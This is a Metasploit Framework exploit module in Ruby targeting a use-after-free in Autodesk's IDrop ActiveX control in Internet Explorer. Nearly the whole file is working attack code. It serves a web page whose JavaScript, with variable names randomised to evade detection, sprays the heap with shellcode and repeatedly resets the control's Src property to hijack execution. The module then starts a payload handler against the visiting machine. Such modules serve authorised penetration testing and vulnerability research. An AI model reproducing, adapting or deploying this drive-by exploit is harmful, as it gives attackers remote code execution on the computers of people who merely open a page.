Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = NormalRanking

        include Msf::Exploit::Remote::HttpServer::HTML

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',

                        'Description'    => %q{

                                        This module exploits a heap-based memory corruption vulnerability in

                                Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.

                                An attacker can execute arbitrary code by triggering a heap use after

                                free condition using the Src, Background, PackageXml properties.

                        },

                        'License'        => MSF_LICENSE,

                        'Author'         =>

                                [

                                        'Elazar Broad <elazarb[at]earthlink.net>',   # Original exploit [see References]

                                        'Trancer <mtrancer[at]gmail.com>'            # Metasploit implementation

                                ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'OSVDB', '53265' ],

                                        [ 'BID', '34352' ],

                                        [ 'URL', 'http://www.milw0rm.com/exploits/8560' ],

                                        [ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                },

                        'Payload'        =>

                                {

                                        'Space'         => 1024,

                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]

                                ],

                        'DisclosureDate' => 'Apr 2 2009',

                        'DefaultTarget'  => 0))

        end

        def autofilter

                false

        end

        def check_dependencies

                use_zlib

        end

        def on_request_uri(cli, request)

                # Re-generate the payload

                return if ((p = regenerate_payload(cli)) == nil)

                # Encode the shellcode

                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

                # Setup exploit buffers

                nops           = Rex::Text.to_unescape([target.ret].pack('V'))

                blocksize = 0x40000

                fillto    = 550

                offset           = target['Offset']

                # Randomize the javascript variable names

                idrop             = rand_text_alpha(rand(100) + 1)

                j_function   = rand_text_alpha(rand(100) + 1)

                j_shellcode  = rand_text_alpha(rand(100) + 1)

                j_nops       = rand_text_alpha(rand(100) + 1)

                j_headersize = rand_text_alpha(rand(100) + 1)

                j_slackspace = rand_text_alpha(rand(100) + 1)

                j_fillblock  = rand_text_alpha(rand(100) + 1)

                j_block      = rand_text_alpha(rand(100) + 1)

                j_memory     = rand_text_alpha(rand(100) + 1)

                j_counter    = rand_text_alpha(rand(30) + 2)

                j_ret        = rand_text_alpha(rand(100) + 1)

                j_mem        = rand_text_alpha(rand(100) + 1)

                # Build out the message

                content = %Q|

<html>

<head>

<script language='javascript' defer>

function #{j_function}() {

        #{j_shellcode}=unescape('#{shellcode}');

        #{j_nops}=unescape('#{nops}');

        #{j_headersize}=20;

        #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

        while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

        #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

        #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

        while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

        #{j_memory}=new Array();

        for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

        var #{j_ret} = '';

        for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {

                #{j_ret} += unescape('%u0a0a');

        }

        for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {

                try {

                        var #{j_mem} = #{idrop}.Src;

                        #{idrop}.Src = 'http://' + #{j_ret};

                        #{idrop}.Src = #{j_mem};

                        #{idrop}.Src = 'http://' + #{j_ret};

                } catch(e){}

        }

}

</script>

</head>

<body onload='return #{j_function}();'>

<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>

</body>

</html>

                        |

                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

                # Transmit the response to the client

                send_response_html(cli, content)

                # Handle the payload

                handler(cli)

        end

end